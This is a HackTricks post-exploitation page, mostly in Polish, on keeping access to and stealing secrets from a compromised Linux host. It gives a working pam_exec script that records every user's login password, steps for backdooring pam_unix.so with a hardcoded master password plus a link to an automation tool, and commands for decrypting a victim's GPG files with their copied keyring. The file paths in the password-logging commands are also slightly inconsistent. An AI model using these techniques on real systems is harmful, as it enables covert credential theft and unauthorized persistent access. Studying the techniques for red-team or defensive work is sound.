Linux Post-Exploitation

Reading time: 5 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Sniffing Logon Passwords with PAM

Skonfigurujmy moduł PAM, aby logował każde hasło używane przez użytkowników podczas logowania. Jeśli nie wiesz, czym jest PAM, sprawdź:

PAM - Pluggable Authentication Modules

For further details check the original post. To tylko podsumowanie:

Technique Overview: Pluggable Authentication Modules (PAM) oferują elastyczność w zarządzaniu uwierzytelnianiem w systemach Unix. Mogą zwiększać bezpieczeństwo przez dostosowywanie procesów logowania, ale mogą też stwarzać ryzyko przy niewłaściwym użyciu. To podsumowanie opisuje technikę przechwytywania poświadczeń logowania z użyciem PAM oraz strategie łagodzenia skutków.

Capturing Credentials:

  • Skrypt bash o nazwie toomanysecrets.sh został stworzony do logowania prób logowania, zapisując datę, nazwę użytkownika ($PAM_USER), hasło (przez stdin) oraz IP zdalnego hosta ($PAM_RHOST) do /var/log/toomanysecrets.log.
  • Skrypt został uczyniony wykonywalnym i zintegrowany z konfiguracją PAM (common-auth) przy użyciu modułu pam_exec.so z opcjami uruchamiania w trybie cichym oraz ujawniając token uwierzytelnienia skryptowi.
  • Podejście pokazuje, jak skompromitowany host Linux może zostać wykorzystany do dyskretnego logowania poświadczeń.
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Aby uzyskać więcej szczegółów sprawdź oryginalny wpis. To tylko podsumowanie:

Pluggable Authentication Module (PAM) to system używany w Linux do uwierzytelniania użytkowników. Działa na trzech głównych koncepcjach: nazwie użytkownika, haśle i usłudze. Pliki konfiguracyjne dla każdej usługi znajdują się w katalogu /etc/pam.d/, gdzie biblioteki współdzielone obsługują uwierzytelnianie.

Cel: Zmodyfikować PAM tak, aby pozwalał na uwierzytelnianie przy użyciu konkretnego hasła, omijając rzeczywiste hasło użytkownika. Skupia się to szczególnie na bibliotece współdzielonej pam_unix.so używanej przez plik common-auth, który jest dołączany przez prawie wszystkie usługi w celu weryfikacji hasła.

Steps for Modifying pam_unix.so:

  1. Locate the Authentication Directive in the common-auth file:
  • Linia odpowiedzialna za sprawdzanie hasła użytkownika wywołuje pam_unix.so.
  1. Modify Source Code:
  • Dodaj instrukcję warunkową w pliku źródłowym pam_unix_auth.c, która przyzna dostęp, jeśli użyte zostanie zdefiniowane wcześniej hasło; w przeciwnym razie kontynuuje standardowy proces uwierzytelniania.
  1. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  2. Testing:
  • Dostęp zostaje przyznany w różnych usługach (login, ssh, sudo, su, screensaver) przy użyciu zdefiniowanego hasła, podczas gdy normalne procesy uwierzytelniania pozostają nienaruszone.

tip

You can automate this process with https://github.com/zephrax/linux-pam-backdoor

Decrypting GPG loot via homedir relocation

Jeśli znajdziesz zaszyfrowany plik .gpg i katalog ~/.gnupg użytkownika (pubring, private-keys, trustdb), ale nie możesz odszyfrować z powodu uprawnień/blokad homedir GnuPG, skopiuj keyring do zapisywalnej lokalizacji i użyj go jako swojego GPG home.

Typowe błędy, które zobaczysz bez tego: "unsafe ownership on homedir", "failed to create temporary file", lub "decryption failed: No secret key" (ponieważ GPG nie może odczytać/zapisać oryginalnego homedir).

Workflow:

bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

Jeśli materiał klucza prywatnego znajduje się w private-keys-v1.d, GPG odblokuje i odszyfruje bez proszenia o passphrase (lub poprosi, jeśli klucz jest chroniony).

References

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks